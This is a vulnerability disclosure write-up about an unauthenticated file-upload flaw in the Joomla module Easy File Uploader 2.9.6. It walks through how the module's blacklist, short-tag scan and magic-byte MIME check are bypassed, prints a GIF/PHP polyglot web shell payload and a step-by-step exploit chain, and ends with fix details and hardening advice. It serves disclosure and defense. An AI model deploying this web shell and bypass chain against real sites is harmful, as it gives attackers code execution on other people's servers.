Easy File Uploader for Joomla: It's Right There in the Name
Table of Contents
Original disclosure: This research was coordinated and first published by VulnCheck: easy-file-uploader-unauthenticated-upload-to-rce. This post is my technical write-up.
Today VulnCheck is detailing CVE-2026-107904, an unauthenticated arbitrary file upload that can lead to remote code execution in Easy File Uploader (mod_easyfileuploader), a Joomla site module by Valor Apps. The vulnerability was confirmed on 2.9.6. Valor Apps released version 3.0.0 on November 14, 2026, and our retest confirmed that it closes the reported path.
It is a module called Easy File Uploader. Its job is to let visitors upload files. It does that job so well that it also lets them upload a shell.
Background
Joomla’s third-party ecosystem has had a brutal 2026. The project runs its own CNA, so the numbers are filterable straight from NVD by source identifier, and they climb from 21 extension CVEs in 2024 to 52 in 2025 to past 130 through July of 2026, with three exploited in the wild and pulled into both VulnCheck KEV and the CISA KEV. Core is reasonably audited. The extension directory is not, and a soft, under-reviewed surface finally getting read at scale turns a backlog of decade-old bugs into a steady stream.
move_uploaded_file fed a caller-controlled name is near the top of the list of sinks that turn into RCE, and this module is a near-perfect specimen: its entire reason to exist is to move an uploaded file to a path under the web root. The only thing between the visitor and that write is one function, and it makes three decisions, all of them wrong.
The Module Hands Guests the Pen
The entry point (mod_easyfileuploader.php) has no login check and no CSRF token. It fires whenever the module is rendered and a file is present:
if (isset($_FILES[$params->get('efu_variable')])) {
$result = EasyFileUploaderHelper::getFileToUpload($params);
}
And the defaults ship it wide open: efu_user="0" allows guest uploads, efu_parent="images" puts the destination under the web root. Install it, publish it, change nothing, and an anonymous visitor writes files into /images. The whole security boundary is checkFileSafety(). It has three parts.
Part one: the blacklist that forgot .phtml
$forbidden = array('php','phps','php5','php3','php4','inc','pl','cgi','fcgi','java','jar','py');
$split = explode('.', $filename); array_shift($split);
$only_extensions = array_map('strtolower', $split);
foreach ($forbidden as $script)
if (in_array($script, $only_extensions)) return false;
A blacklist is already the wrong shape: you are enumerating badness and hoping you got it all. They did not. .phtml, .php7, .php8, .phar, .pht: none are on the list, and any of them is a perfectly good PHP extension on a server configured to run it. On the classic Apache/mod_php setup, .phtml has mapped to the interpreter for twenty years.
Part two: the content probe that only half-looks
if (stripos($data, '<?php') !== false) { return false; } // always blocked
$script_files = array('php','phps','php3','php4','php5','class','inc','txt','dat','tpl','tmpl');
if ($is_script && stripos($data, '<?') !== false) { return false; } // only for those exts
<?php is blocked no matter the extension, so you do not use <?php. PHP has a short-echo tag, <?=, and the scan for the bare <? short tag runs only when the extension is one of $script_files. .phtml is not in that set. So a body of <?= system($_GET['c']) ?> is never inspected: <?php is not present, and <? is only hunted for extensions the file does not claim.
Part three: the MIME whitelist that trusts magic bytes
The MIME check is a whitelist, but it trusts finfo:
$actualMIME = self::actualMIME($tmp_name); // finfo_file(FILEINFO_MIME_TYPE)
if (stripos($filetypes, $_FILES[...]['type']) !== false && stripos($filetypes, $actualMIME) !== false)
finfo decides “this is a GIF” from the first few bytes. Start the file with GIF89a and it is image/gif to finfo forever, regardless of the PHP that follows, and the declared Content-Type is attacker-controlled anyway. So the polyglot:
GIF89a1
<?= system($_GET['c']) ?>
is image/gif to the whitelist and PHP to the interpreter. One file, three checks, zero stops. It is written to /images/evil.phtml, and on a server that runs .phtml, GET /images/evil.phtml?c=id returns uid=33(www-data).
CVE: CVE-2026-107904. Confirmed affected: 2.9.6. Fixed in: 3.0.0. Severity: Critical. Unauthenticated arbitrary file upload (CWE-434) to remote code execution where the server maps .phtml to PHP; an unauthenticated web-root file write otherwise.
The Part Worth Being Honest About: You Cannot Force Literal .php
The stock joomla:*-apache image only executes literal .php (<FilesMatch \.php$>), so the natural question is whether you can make this module write a .php. The answer is a clean no, and it is provable rather than lucky. The stored name comes from lowerExt():
$info = pathinfo($filename);
return $info['filename'].'.'.strtolower($info['extension']);
pathinfo takes the last dot-segment as the extension. For the stored file to end in .php, that last segment must be php. But the blacklist splits on every dot and does in_array('php', $segments), and the last segment is always one of those segments. So “stored as .php” implies “has a php segment” implies “blacklist blocks it”: the two conditions are mutually exclusive. Trailing dot, trailing space, trailing newline, double extensions all either keep the php segment (blocked) or change the stored name so Apache’s \.php$ no longer matches (served as raw text). There is no filename that is both accepted and stored as executable .php.
That sounds like it weakens the bug. In practice, it barely does. The Debian and Ubuntu default-ssl vhost, shipped and enabled on any Joomla site that terminates TLS with the stock config, contains this verbatim:
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SetHandler application/x-httpd-php
</FilesMatch>
.phtml is right there. Add every shared host that sprinkles AddHandler application/x-httpd-php .phtml .php5 .php4 .php3 into its config, and the set where execution holds is most of the real internet, not a corner case. Where it does not hold, an unauthenticated attacker is still writing arbitrary files into the web root: defacement, stored HTML/JS, planted content.
Full Chain
Unauthenticated attacker
|
| GET front end -> crawl for the page rendering the module
| <- the module injects media/mod_easyfileuploader/css/styles.css into <head>
v
build polyglot: GIF89a1 <?= system($_GET['c']) ?> named shell.phtml
|
| POST that page (multipart, field = efu_variable default fileToUpload)
| checkFileSafety() blacklist -> phtml not listed (pass)
| checkFileSafety() <?php scan -> body has <?= only (pass)
| checkFileSafety() <? scan -> not run for .phtml (pass)
| isValidFileType() finfo MIME -> GIF89a = image/gif (pass)
v
move_uploaded_file -> /images/shell.phtml (efu_parent default)
|
| GET /images/shell.phtml?c=<command> Apache maps .phtml -> PHP
v
RCE as www-data
The upload only fires on a page that actually renders the module, so a reliable exploit finds the right page rather than spraying. The module makes that easy: every time it renders, it injects its stylesheet into the page head before the form, so an exploit crawls the front end, watches for that asset, and reads the upload field name straight out of the form once it appears.
Impact
Upload modules are exactly the thing an admin bolts onto a “send us your files” page and forgets, and the vulnerable release shipped guest uploads on by default. The floor is an unauthenticated write of an attacker-named file into the web root, config-independent. The ceiling is code execution as the web user on the common default-ssl / AddHandler configurations that map .phtml to PHP, which is most of the HTTPS-terminating Joomla installs in the Debian world.
What sharpens it is the vendor. File upload is the product: Valor Apps sells Easy File Uploader, Easy File Uploader Pro, Easy Flash Uploader, Easy Folder Listing Pro. The one control that matters, deciding whether a file is safe to drop into the web root, is a blacklist plus a magic-byte sniff, the textbook wrong answer to a problem the industry solved and documented for twenty years. And it is not a one-off: the same vendor already carries CVE-2024-11145, an unauthenticated deserialization RCE in Easy Folder Listing Pro. When a shop whose entire catalog is file handling keeps shipping the canonical file-handling bug, the catalog deserves a hard look.
Timeline
| Date | Event |
|---|---|
| 2026-07-27 | Vulnerability discovered and confirmed end to end in a lab |
| 2026-07-27 | Reported through the VulnCheck CNA; vendor coordination initiated |
| 2026-11-03 | Version 3.0.0 received for retesting |
| 2026-11-04 | Fix confirmed; CVE-2026-107904 assigned by the Joomla CNA |
| 2026-11-14 | Valor Apps released version 3.0.0 |
| 2026-11-17 | CVE-2026-107904 published |
| 2026-11-25 | VulnCheck publishes this disclosure |
| 2026-11-26 | This technical write-up published on chocapikk.com. |
Fix
Version 3.0.0 adds .phtml, .php7, .php8, .phar, and .pht to the blacklist, adds a CSRF token check, applies the <?= content check to every uploaded file, and checks file safety when replacing an existing file. Our retest confirmed that these changes close the reported chain.
For defense in depth, allowlist rather than blacklist and validate the final stored extension rather than per-segment membership. Do not treat a finfo or magic-byte match as proof of safety: a valid image can carry code. Store uploads outside the web root, or in a directory served with no PHP handler (SetHandler none, php_admin_flag engine off). Rebuild the stored name as a random string plus one allowlisted extension, and keep guest uploads off by default.
Takeaways
Blacklists lose, and this one lost to a file extension that has run PHP since before the blacklist was written. finfo is a content sniffer, not a safety oracle, and the moment you accept a GIF89a header as proof of harmlessness, you have accepted a polyglot. Neither is a new lesson, which is the point: a decade-old anti-pattern sat unaudited in a shipping module.
The bit worth keeping is the discipline around the boundary. The lazy version of this write-up claims “unauthenticated RCE” and skips the .php-versus-.phtml detail. The honest version proves literal .php is impossible here, then shows the execution condition is a default vhost most of the web runs. Same shell, but you know exactly when you will get it. Operators running the confirmed vulnerable 2.9.6 release should update to 3.0.0 and confirm their web server does not hand .phtml to PHP.
About VulnCheck
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.
Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.
To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.